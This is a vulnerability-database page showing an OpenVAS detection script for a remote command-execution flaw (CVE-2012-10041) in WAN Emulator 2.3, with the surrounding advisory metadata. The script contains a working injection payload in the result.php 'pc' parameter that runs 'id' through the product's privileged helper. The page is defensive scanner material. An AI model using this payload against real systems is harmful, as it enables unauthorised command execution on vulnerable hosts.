Lucene search
+L

WAN Emulator RCE Vulnerabilities

🗓️ 10 Sep 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

WAN Emulator RCE Vulnerabilities. Remote command-execution vulnerability in WAN Emulator 2.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-10041
29 May 201815:50
circl
CNNVD
Sourceforge WANem 安全漏洞
8 Aug 202500:00
cnnvd
CVE
CVE-2012-10041
8 Aug 202518:13
cve
Cvelist
CVE-2012-10041 WAN Emulator v2.3 Command Execution
8 Aug 202518:13
cvelist
EUVD
EUVD-2012-6592
7 Oct 202500:30
euvd
NVD
CVE-2012-10041
8 Aug 202519:15
nvd
Positive Technologies
PT-2025-32394 · Unknown · Wan Emulator
8 Aug 202500:00
ptsecurity
RedhatCVE
CVE-2012-10041
10 Aug 202518:14
redhatcve
Vulnrichment
CVE-2012-10041 WAN Emulator v2.3 Command Execution
8 Aug 202518:13
vulnrichment
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103561");
  script_version("2025-08-14T05:40:53+0000");
  script_tag(name:"last_modification", value:"2025-08-14 05:40:53 +0000 (Thu, 14 Aug 2025)");
  script_tag(name:"creation_date", value:"2012-09-10 09:49:21 +0200 (Mon, 10 Sep 2012)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2012-10041");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("WAN Emulator RCE Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"WAN Emulator is prone to a remote command execution (RCE)
  vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting these issues could allow an attacker to execute arbitrary commands
  within the context of the affected application.");

  script_tag(name:"affected", value:"WAN Emulator 2.3 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/wanem_exec.rb");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/21190");
  script_xref(name:"URL", value:"https://www.vulncheck.com/advisories/wan-emulator-command-execution");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/WANem", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/title.html";
  buf = http_get_cache( item:url, port:port );

  if( "<TITLE>Welcome to WANem" >< buf || "Wide Area Network Emulator" >< buf ) {

    url = dir + '/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20id%26';

    if( http_vuln_check( port:port, url:url, pattern:"uid=[0-9]+.*gid=[0-9]+" ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Aug 2025 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 49.3
EPSS0.02848
SSVC
18